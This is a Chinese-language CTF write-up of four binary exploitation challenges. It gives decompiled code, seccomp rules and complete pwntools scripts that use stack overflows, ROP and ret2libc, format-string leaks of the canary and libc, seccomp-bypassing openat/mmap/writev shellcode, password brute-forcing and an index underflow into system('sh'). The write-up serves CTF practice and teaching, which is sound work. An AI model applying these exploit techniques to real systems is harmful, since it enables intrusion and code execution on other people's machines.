stdout
问题
main函数
1 2 3 4 5 6 7 8 9 | int __fastcall main(int argc, const char **argv, const char **envp){ char buf[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); puts("where is my stdout???"); read(0, buf, 0x60uLL); return 0;} |
vuln函数
1 2 3 4 5 6 | ssize_t vuln(){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF return read(0, buf, 0x200uLL);} |
init函数
1 2 3 4 5 | int init(){ setvbuf(stdout, 0LL, 0, 0LL); return setvbuf(stdin, 0LL, 2, 0LL);} |
一开始的思路是main函数栈溢出劫持至vuln函数,vuln函数栈溢出调用puts得到libc地址,但是setvbuf(stdout, 0LL, 0, 0LL);无法得到回显
再者的思路是ret2csu,但是无法控制rcx第四个参数致使setvbuf报错,行不通
解决办法
关键是init函数,setvbuf(stdout, 0LL, 0, 0LL)标准输出全缓冲,即缓冲区被填满才会进行i/o操作
1 2 3 4 5 | int init(){ ; return setvbuf(stdin, 0LL, 2, 0LL);} |
刷新缓冲区的方法
填满缓冲区后会刷新
exit退出会刷新缓冲区
调用fflush函数
流被关闭(调用
fclose)
在这道题中,我们采用第一种方式进行i/o操作,即重复多次调用extend函数填满缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | from pwn import *context(log_level = 'debug',arch = 'amd64')p = process('./pwn')libc = ELF('./libc-2.31.so')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) vuln = 0x40125Dextend = 0x401287puts_plt = 0x4010B0read_got = 0x404028pop_rdi_ret = 0x00000000004013d3payload = b'a'*0x58 + p64(vuln)s(payload)#gdb.attach(p,'b *0x40127F')#pause()p2 = b'a'*0x28 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +p64(extend) + p64(vuln)s(p2)#gdb.attach(p,'b *0x40127F')#pause()#重复调用extend函数填满缓冲区for i in range(20): p3 = b'b'*0x28 + p64(extend) + p64(vuln) s(p3)#p3 = b'a'*0x28 + p64(extend) + p64(vuln)#s(p3)p.recvuntil(b'\n')libcbase = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0log.success('libcbase ==> ' + hex(libcbase))p.recv()sys=libc.symbols['execve']+libcbasesh=next(libc.search(b'/bin/sh'))+libcbase#gdb.attach(p,'b *0x40127F')#pause()ret = 0x000000000040101apop_rsi_r15 = 0x00000000004013d1pop_rdx_ret = 0x0000000000142c92 + libcbasep4 = b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) +p64(pop_rsi_r15)+ p64(0)+ p64(0) +p64(pop_rdx_ret)+ p64(0)+p64(sys)s(p4)p.interactive() |
Shuffled_Execution
使用带有\x00的汇编指令绕过strlen,我使用的是mov esi,0机器码为\xbe\x00\x00\x00\x00(小端序)
沙箱禁用了许多系统调用,具体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015 0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015 0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015 0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015 0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015 0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015 0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015 0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015 0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015 0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0015: 0x06 0x00 0x00 0x00000000 return KILL |
寻常的orw无法使用,这里我采用的是openat,mmap,writev来读取flag
函数原型
openat
1 | ssize_t openat(int dfd, const char* filename, int flags, umode_t mode); |
函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。另外3个参数与open参数相同。openat的返回值与open相同,都是当前正未使用的最小的文件描述符值。
mmap
1 2 3 | long sys_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, off_t pgoff); |
对于Linux系统调用,6个参数的传递寄存器分别为rdi、rsi、rdx、r10、r8、r9。与Glibc的传参有所不同。
内核的mmap函数的flag参数和glibc的不太一样,0x10表示映射文件MAP_FILE,0x2表示私有映射MAP_PRIVATE,0x20表示匿名映射MAP_ANONYMOUS。这里需要使用MAP_FILE | MAP_PRIVATE才能完成映射
writev
1 | ssize_t writev(int fd, const struct iovec *iov, int iovcnt); |
fd: 文件描述符,表示要写入的文件、管道或网络套接字。
iov: 指向 iovec 结构数组的指针,每个 iovec 结构包含一个缓冲区和其长度。
iovcnt: iovec 结构的数量。
iovec结构体
1 2 3 4 | struct iovec { void *iov_base; // 指向数据缓冲区的指针 size_t iov_len; // 缓冲区的长度}; |
solve
思路是绕过strlen直接写shellcode
直接在栈上写writev第二个参数(结构体指针)的*iov_base和iov_len,主要是直接通过汇编操作就像下面的示例,会报错(不清楚原因)
1 2 3 4 | push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp |
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | from pwn import *context(log_level = 'debug',arch = 'amd64')p = process('./pwn')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) mov_esi_0=b'\xbe\x00\x00\x00\x00'p.recv()shell = '''mov rsp,0x1338000 mov rax, 0x67616c66 push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall push 1 pop rdi push 0x1 /* iov size */ pop rdx mov rsi, 0x1337070 push SYS_writev pop rax syscall'''#gdb.attach(p)#pause()payload= mov_esi_0+asm(shell)payload = payload.ljust(0x70,b'\x90')#栈上写参数payload+= p64(0x10000) + p64(0x100)s(payload)p.interactive() |
SavethePrincess
随机数绕过
随机数生成范围为a-z
1 2 | for ( i = 0; i <= 7; ++i ) love[i] = rand() % 26 + 97; |
buf数组和字符i内存区域相邻,当buf数组填满会将字符i打印出来,通过泄露的字符i爆破随机数

单字节爆破,最多爆破26*8=208次,下面是我写的爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']data = ''num = 0while True: sla(b'> \n', b'1') sa(b'please input your password: \n', ''.join(key)) p.recv(26) data = ord(p.recv(1)) log.success(data) if (data == num + 1): num += 1 elif (data == 112): key_list = ''.join(key) log.success(key_list) break else: key[num] = chr(ord(key[num])+1) |
流程
接下来就是格式化字符串泄露stack和libc,进challenge函数打栈溢出。
先看一眼沙箱,发现又把常见的orw禁用掉了,无法调用read写bss段,所以我选择打栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0013 0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013 0008: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0013 0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013 0010: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0013 0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL |
先用mprotect函数给栈段开权限,注意的是mprotect的第一个参数需要内存页对齐(0x1000),然后接上shellcode,openat,mmap,write打出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | from pwn import *context(log_level = 'debug',arch = 'amd64')p = process('./pwn')libc = ELF('./libc.so.6')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']data = ''num = 0while True: sla(b'> \n', b'1') sa(b'please input your password: \n', ''.join(key)) p.recv(26) data = ord(p.recv(1)) log.success(data) if (data == num + 1): num += 1 elif (data == 112): key_list = ''.join(key) log.success(key_list) break else: key[num] = chr(ord(key[num])+1)#gdb.attach(p, 'b *$rebase(0x166A)')#pause()sa(b'ower!!!\n', b'%10$p'+b'%15$p'+b'%9$p')stack = int(p.recv(14), 16)libcbase = int(p.recv(14), 16) - 0x29d90canary = int(p.recv(18), 16)stack_base = int(str(hex(stack))[0:11] + '000', 16)log.info('stack => '+ hex(stack))log.info('libcbase => ' + hex(libcbase))log.info('canary => ' + hex(canary))log.info('stack_base => ' + hex(stack_base))#gdb.attach(p, 'b *$rebase(0x170B)')#pause()#bss = pie + 0x4320#start = 0x4000 + piepop_rdi_ret = 0x000000000002a3e5 + libcbasepop_rsi_ret = 0x000000000002be51 + libcbasepop_rdx_r12_ret = 0x000000000011f2e7 + libcbasemprotect = libc.symbols['mprotect'] + libcbase #read = libc.symbols['read'] + libcbase leave_ret = 0x000000000004da83 + libcbaseshellcode =''' mov rax, 0x67616c66 push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall mov rdi, 1 mov rsi,0x10000 mov rdx,0x40 push SYS_write pop rax syscall'''payload = b'a'*0x38 + p64(canary) + p64(stack) + p64(pop_rdi_ret) + p64(stack_base)payload+= p64(pop_rsi_ret) + p64(0x20000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0)payload+= p64(mprotect) + p64(stack + 0x30) + asm(shellcode)sla(b'> \n', b'2')sa(b'dragon!!\n', payload)p.interactive() |
spiiill
分析
首先看一眼程序逻辑,发现是菜单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ int v3; // [rsp+0h] [rbp-4834h] BYREF char s[2096]; // [rsp+4h] [rbp-4830h] BYREF char v5; // [rsp+834h] [rbp-4000h] BYREF __int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF while ( v6 != (__int64 *)&v5 ) ; v6[511] = __readfsqword(0x28u); Init(a1, a2, a3); memset(s, 0, 0x4828uLL); while ( 1 ) { while ( 1 ) { puts("Give me your choice: "); __isoc99_scanf("%d", &v3); if ( v3 != 4 ) break; Bye(); } if ( v3 <= 4 ) { switch ( v3 ) { case 3: Choice((__int64)s); break; case 1: sandbox(); break; case 2: Read((__int64)s); break; } } }} |
Read函数看一看,是向栈上地址写入0x400字节
1 2 3 4 5 | ssize_t __fastcall sub_1DE2(__int64 a1){ puts("see you"); return read(0, (void *)(a1 + 0x808), 0x400uLL);} |
重点来了,Choice函数中会进行 ((void (__fastcall *)(__int64))choice[v3])(a1)指针操作,看一下choice里的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | int __fastcall sub_1CFB(__int64 a1){ __int64 v1; // rax unsigned __int64 v3; // [rsp+18h] [rbp-8h] while ( 1 ) { v1 = *(_QWORD *)(a1 + 0x2808); *(_QWORD *)(a1 + 0x2808) = v1 + 1; v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8); if ( v3 > 11 ) break; ((void (__fastcall *)(__int64))choice[v3])(a1); } return printf("Unknown instruction %zu\n", v3);} |
可以看到choice里存放着函数指针

这下Choice函数的功能就清楚了,通过 v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8);获得下标的值,就可以调用choice里的函数
下标为12的是vuln函数,存在system函数,同时获取(*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)里的数据作为参数
1 2 3 4 5 6 7 8 | int __fastcall vuln(__int64 a1){ __int64 v1; // rax v1 = *(_QWORD *)(a1 + 0x2808); *(_QWORD *)(a1 + 0x2808) = v1 + 1; return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 256) + 8) + 0x502LL) + a1));} |
思路
分析完毕,这时我的思路是调用Read函数向栈上写入12,再调用Choice函数进到vuln函数,但是Choice函数对v3进行了检查,v3不能大于11,所以这条道路行不通
继续逆向,发现choice里存在类似Choice的函数,命名为re_choice
1 2 3 4 5 6 7 8 9 10 11 | __int64 __fastcall sub_1B20(__int64 a1){ __int64 v1; // rax __int64 v3; // [rsp+18h] [rbp-8h] v3 = *(_QWORD *)(a1 + 0x2808) + 1LL; v1 = *(_QWORD *)(a1 + 0x2808); *(_QWORD *)(a1 + 0x2808) = v1 + 1; ((void (__fastcall *)(__int64))choice[*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)])(a1); return overflow(a1, v3);} |
接下来就清楚了
1.调用Read向栈上写入下标
2.调用Choice函数进而re_choice
3.通过re_choice进入vuln
通过gdb调试,可以知道Choice函数中 v1 == 0, *(a1 + 0x2808) == 1, v3 == *(a1 + 0x808)。接下来再re_choice中v3 == 2, v1 == 1, *(a1 + 0x2808) == 2,所以只需发送p64(0xa) + p64(0xc)即可进入vuln。vuln中v1 == 2, *(a1 + 0x2808) == 3, *(a1 + 8 * (v1 + 256) + 8) == *(a1 + 0x818),即system(0x2810 + 8 * (*(a1 + 0x818)) + a1)所以只要使0x2810 + 8 * (*(a1 + 0x818)) == 0x820即可在*(a1 + 0x820)处写sh并完成调用,可以计算出*(a1 + 0x818) == 0xfffffffffffffc02时上溢为0x820
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from pwn import *context(log_level = 'debug',arch = 'amd64')p = process('./pwn')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) def choice(): sla(b'Give me your choice: \n', b'3')def Read(num): sla(b'Give me your choice: \n', b'2') sa(b'see you\n',num)#gdb.attach(p, 'b *$rebase(0x1C78)')#pause()Read(p64(0xa)+p64(0xc)+p64(0xfffffffffffffc02)+b'sh\x00')choice()p.interactive() |